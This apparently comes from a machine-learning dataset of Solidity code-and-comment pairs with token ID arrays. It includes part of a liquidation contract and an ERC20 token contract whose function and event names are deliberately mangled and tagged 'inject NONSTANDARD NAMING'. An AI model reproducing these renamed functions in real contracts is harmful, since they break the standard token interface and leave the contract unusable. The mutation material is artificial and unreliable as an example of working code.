see above. FixedPoint.Unsigned public sponsorDisputeRewardPct; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPct; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 withdrawalAmount, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PricelessPositionManager( params.expirationTimestamp, params.withdrawalLiveness, params.collateralAddress, params.finderAddress, params.priceFeedIdentifier, params.syntheticName, params.syntheticSymbol, params.tokenFactoryAddress, params.minSponsorTokens, params.timerAddress, params.excessTokenBeneficiary ) nonReentrant() { require(params.collateralRequirement.isGreaterThan(1), "CR is more than 100%"); require( params.sponsorDisputeRewardPct.add(params.disputerDisputeRewardPct).isLessThan(1), "Rewards are more than 100%" ); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPct = params.disputeBondPct; sponsorDisputeRewardPct = params.sponsorDisputeRewardPct; disputerDisputeRewardPct = params.disputerDisputeRewardPct; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external fees() onlyPreExpiration() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. // maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul( ratio ); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.PreDispute, liquidationTime: getCurrentTime(), tokensOutstanding: tokensLiquidated, lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp <= getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(liquidationLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, tokensLiquidated.rawValue, lockedCollateral.rawValue, liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond * and pay a fixed final fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPct` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.PendingDispute; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePrice(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * the sponsor, liquidator, and/or disputer can call this method to receive payments. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator can receive payment. * Once all collateral is withdrawn, delete the liquidation data. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return amountWithdrawn the total amount of underlying returned from the liquidation. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (msg.sender == liquidation.disputer) || (msg.sender == liquidation.liquidator) || (msg.sender == liquidation.sponsor), "Caller cannot withdraw rewards" ); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul( feeAttenuation ); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPct.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPct.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPct); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation can withdraw different amounts. // Once a caller has been paid their address deleted from the struct. // This prevents them from being paid multiple from times the same liquidation. FixedPoint.Unsigned memory withdrawalAmount = FixedPoint.fromUnscaledUint(0); if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users can withdraw from the contract. if (msg.sender == liquidation.disputer) { // Pay DISPUTER: disputer reward + dispute bond + returned final fee FixedPoint.Unsigned memory payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); withdrawalAmount = withdrawalAmount.add(payToDisputer); delete liquidation.disputer; } if (msg.sender == liquidation.sponsor) { // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward FixedPoint.Unsigned memory remainingCollateral = collateral.sub(tokenRedemptionValue); FixedPoint.Unsigned memory payToSponsor = sponsorDisputeReward.add(remainingCollateral); withdrawalAmount = withdrawalAmount.add(payToSponsor); delete liquidation.sponsor; } if (msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: This should never be below zero since we prevent (sponsorDisputePct+disputerDisputePct) >= 0 in // the constructor when these params are set. FixedPoint.Unsigned memory payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub( disputerDisputeReward ); withdrawalAmount = withdrawalAmount.add(payToLiquidator); delete liquidation.liquidator; } // Free up space once all collateral is withdrawn by removing the liquidation object from the array. if ( liquidation.disputer == address(0) && liquidation.sponsor == address(0) && liquidation.liquidator == address(0) ) { delete liquidations[sponsor][liquidationId]; } // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed && msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee withdrawalAmount = collateral.add(disputeBondAmount).add(finalFee); delete liquidations[sponsor][liquidationId]; // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.PreDispute && msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: collateral + returned final fee withdrawalAmount = collateral.add(finalFee); delete liquidations[sponsor][liquidationId]; } require(withdrawalAmount.isGreaterThan(0), "Invalid withdrawal amount"); // Decrease the total collateral held in liquidatable by the amount withdrawn. amountWithdrawn = _removeCollateral(rawLiquidationCollateral, withdrawalAmount); emit LiquidationWithdrawn(msg.sender, amountWithdrawn.rawValue, liquidation.state, settlementPrice.rawValue); // Transfer amount withdrawn from this contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); return amountWithdrawn; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the PendingDispute state. If not, it will immediately return. // If the liquidation is in the PendingDispute state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == PendingDispute and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.PendingDispute) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul( liquidation.settlementPrice ); // The required collateral is the value of the tokens in underlying * required collateral ratio. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement); // If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal override view returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized, "Invalid liquidation ID" ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.PreDispute), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has passed expiry. require( (state > Status.PreDispute) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.PreDispute)), "Liquidation not withdrawable" ); } } contract ExpiringMultiParty is Liquidatable { /** * @notice Constructs the ExpiringMultiParty contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public Liquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } }
If the payer is not the contract pull the collateral from the payer. If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate. The final fee must be < available collateral or the fee will be larger than 100%.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal { if (amount.isEqual(0)) { return; } if (payer != address(this)) { collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue); FixedPoint.Unsigned memory collateralPool = _pfc(); require(collateralPool.isGreaterThan(amount), "Final fee is more than PfC"); _adjustCumulativeFeeMultiplier(amount, collateralPool); } emit FinalFeesPaid(amount.rawValue); StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue); store.payOracleFeesErc20(address(collateralCurrency), amount); }
7,359,685
[ 1, 2047, 326, 293, 1773, 353, 486, 326, 6835, 6892, 326, 4508, 2045, 287, 628, 326, 293, 1773, 18, 971, 326, 293, 1773, 353, 326, 6835, 16, 5765, 326, 15582, 14667, 23365, 358, 1161, 773, 340, 18, 1021, 727, 14036, 1297, 506, 411, 2319, 4508, 2045, 287, 578, 326, 14036, 903, 506, 10974, 2353, 2130, 9, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 10239, 7951, 2954, 281, 12, 2867, 293, 1773, 16, 15038, 2148, 18, 13290, 3778, 3844, 13, 2713, 288, 203, 203, 3639, 309, 261, 8949, 18, 291, 5812, 12, 20, 3719, 288, 203, 203, 5411, 327, 31, 203, 203, 3639, 289, 203, 203, 203, 203, 3639, 309, 261, 84, 1773, 480, 1758, 12, 2211, 3719, 288, 203, 203, 203, 5411, 4508, 2045, 287, 7623, 18, 4626, 5912, 1265, 12, 84, 1773, 16, 1758, 12, 2211, 3631, 3844, 18, 1899, 620, 1769, 203, 203, 203, 203, 5411, 15038, 2148, 18, 13290, 3778, 4508, 2045, 287, 2864, 273, 389, 84, 7142, 5621, 203, 203, 203, 203, 203, 5411, 2583, 12, 12910, 2045, 287, 2864, 18, 291, 28130, 12, 8949, 3631, 315, 7951, 14036, 353, 1898, 2353, 453, 74, 39, 8863, 203, 203, 203, 203, 5411, 389, 13362, 39, 11276, 14667, 23365, 12, 8949, 16, 4508, 2045, 287, 2864, 1769, 203, 203, 3639, 289, 203, 203, 203, 203, 3639, 3626, 16269, 2954, 281, 16507, 350, 12, 8949, 18, 1899, 620, 1769, 203, 203, 203, 203, 3639, 4994, 1358, 1707, 273, 389, 588, 2257, 5621, 203, 203, 3639, 4508, 2045, 287, 7623, 18, 4626, 382, 11908, 7009, 1359, 12, 2867, 12, 2233, 3631, 3844, 18, 1899, 620, 1769, 203, 203, 3639, 1707, 18, 10239, 23601, 2954, 281, 41, 1310, 3462, 12, 2867, 12, 12910, 2045, 287, 7623, 3631, 3844, 1769, 203, 203, 565, 289, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; contract Ownable { address public owner; event OWNERSHIPRENOUNCED348(address indexed previousOwner); //inject NONSTANDARD NAMING event OWNERSHIPTRANSFERRED910( //inject NONSTANDARD NAMING address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier ONLYOWNER133() { //inject NONSTANDARD NAMING require(msg.sender == owner); _; } function TRANSFEROWNERSHIP800(address newOwner) public ONLYOWNER133 { //inject NONSTANDARD NAMING require(newOwner != address(0)); emit OWNERSHIPTRANSFERRED910(owner, newOwner); owner = newOwner; } function RENOUNCEOWNERSHIP965() public ONLYOWNER133 { //inject NONSTANDARD NAMING emit OWNERSHIPRENOUNCED348(owner); owner = address(0); } } library SafeMath { function MUL451(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function DIV968(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function SUB978(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING assert(b <= a); return a - b; } function ADD466(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract ERC20Basic { function TOTALSUPPLY948() public view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF975(address who) public view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER954(address to, uint256 value) public returns (bool); //inject NONSTANDARD NAMING event TRANSFER596(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING } contract ERC20 is ERC20Basic { function ALLOWANCE236(address owner, address spender) public view returns (uint256); //inject NONSTANDARD NAMING function TRANSFERFROM818(address from, address to, uint256 value) public returns (bool); //inject NONSTANDARD NAMING function APPROVE732(address spender, uint256 value) public returns (bool); //inject NONSTANDARD NAMING event APPROVAL122(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function TOTALSUPPLY948() public view returns (uint256) { //inject NONSTANDARD NAMING return totalSupply_; } function TRANSFER954(address _to, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].SUB978(_value); balances[_to] = balances[_to].ADD466(_value); emit TRANSFER596(msg.sender, _to, _value); return true; } function BALANCEOF975(address _owner) public view returns (uint256) { //inject NONSTANDARD NAMING return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function TRANSFERFROM818(address _from, address _to, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].SUB978(_value); balances[_to] = balances[_to].ADD466(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].SUB978(_value); emit TRANSFER596(_from, _to, _value); return true; } function APPROVE732(address _spender, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING allowed[msg.sender][_spender] = _value; emit APPROVAL122(msg.sender, _spender, _value); return true; } function ALLOWANCE236(address _owner, address _spender) public view returns (uint256) { //inject NONSTANDARD NAMING return allowed[_owner][_spender]; } function INCREASEAPPROVAL411(address _spender, uint256 _addedValue) public returns (bool) { //inject NONSTANDARD NAMING allowed[msg.sender][_spender] = allowed[msg.sender][_spender].ADD466(_addedValue); emit APPROVAL122(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function DECREASEAPPROVAL474(address _spender, uint256 _subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.SUB978(_subtractedValue); } emit APPROVAL122(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Ownable { event PAUSE560(); //inject NONSTANDARD NAMING event UNPAUSE665(); //inject NONSTANDARD NAMING bool public paused = false; modifier WHENNOTPAUSED770() { //inject NONSTANDARD NAMING require(!paused); _; } modifier WHENPAUSED528() { //inject NONSTANDARD NAMING require(paused); _; } function PAUSE825() ONLYOWNER133 WHENNOTPAUSED770 public { //inject NONSTANDARD NAMING paused = true; emit PAUSE560(); } function UNPAUSE769() ONLYOWNER133 WHENPAUSED528 public { //inject NONSTANDARD NAMING paused = false; emit UNPAUSE665(); } } contract PausableToken is StandardToken, Pausable { function TRANSFER954(address _to, uint256 _value) public WHENNOTPAUSED770 returns (bool) { //inject NONSTANDARD NAMING return super.TRANSFER954(_to, _value); } function TRANSFERFROM818(address _from, address _to, uint256 _value) public WHENNOTPAUSED770 returns (bool) { //inject NONSTANDARD NAMING return super.TRANSFERFROM818(_from, _to, _value); } function APPROVE732(address _spender, uint256 _value) public WHENNOTPAUSED770 returns (bool) { //inject NONSTANDARD NAMING return super.APPROVE732(_spender, _value); } function INCREASEAPPROVAL411(address _spender, uint256 _addedValue) public WHENNOTPAUSED770 returns (bool) { //inject NONSTANDARD NAMING return super.INCREASEAPPROVAL411(_spender, _addedValue); } function DECREASEAPPROVAL474(address _spender, uint256 _subtractedValue) public WHENNOTPAUSED770 returns (bool) { //inject NONSTANDARD NAMING return super.DECREASEAPPROVAL474(_spender, _subtractedValue); } } contract FFToken is PausableToken { string public constant name264 = "Fifty Five Token"; //inject NONSTANDARD NAMING string public constant symbol755 = "FF"; //inject NONSTANDARD NAMING uint256 public constant decimals786 = 18; //inject NONSTANDARD NAMING mapping (address => uint256) freezes; event BURN80(address indexed from, uint256 value); //inject NONSTANDARD NAMING event FREEZE181(address indexed from, uint256 value); //inject NONSTANDARD NAMING event UNFREEZE267(address indexed from, uint256 value); //inject NONSTANDARD NAMING constructor() public { totalSupply_ = 10000000000 * (10 ** uint256(decimals786)); balances[msg.sender] = totalSupply_; } function FREEZEOF457(address _owner) public view returns (uint256) { //inject NONSTANDARD NAMING return freezes[_owner]; } function BURN929(uint256 _value) WHENNOTPAUSED770 public returns (bool) { //inject NONSTANDARD NAMING require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].SUB978(_value); totalSupply_ = totalSupply_.SUB978(_value); emit BURN80(msg.sender, _value); return true; } function FREEZE250(uint256 _value) WHENNOTPAUSED770 public returns (bool) { //inject NONSTANDARD NAMING require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].SUB978(_value); freezes[msg.sender] = freezes[msg.sender].ADD466(_value); emit FREEZE181(msg.sender, _value); return true; } function UNFREEZE512(uint256 _value) WHENNOTPAUSED770 public returns (bool) { //inject NONSTANDARD NAMING require(_value <= freezes[msg.sender]); freezes[msg.sender] = freezes[msg.sender].SUB978(_value); balances[msg.sender] = balances[msg.sender].ADD466(_value); emit UNFREEZE267(msg.sender, _value); return true; } function TRANSFEROWNERSHIP800(address newOwner) ONLYOWNER133 WHENNOTPAUSED770 public { //inject NONSTANDARD NAMING super.TRANSFEROWNERSHIP800(newOwner); } function() payable external { revert(); } }
inject NONSTANDARD NAMING
event APPROVAL122(address indexed owner, address indexed spender, uint256 value);
1,045,784
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
